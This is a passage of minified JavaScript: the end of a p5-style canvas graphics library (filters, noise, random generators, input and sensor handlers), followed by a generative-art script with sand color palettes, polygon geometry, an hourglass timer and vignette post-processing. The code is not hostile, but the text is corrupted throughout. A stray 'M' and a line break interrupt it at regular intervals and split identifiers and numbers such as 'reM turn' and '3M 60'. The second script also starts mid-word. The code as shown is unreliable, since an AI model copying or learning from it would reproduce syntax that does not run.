ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
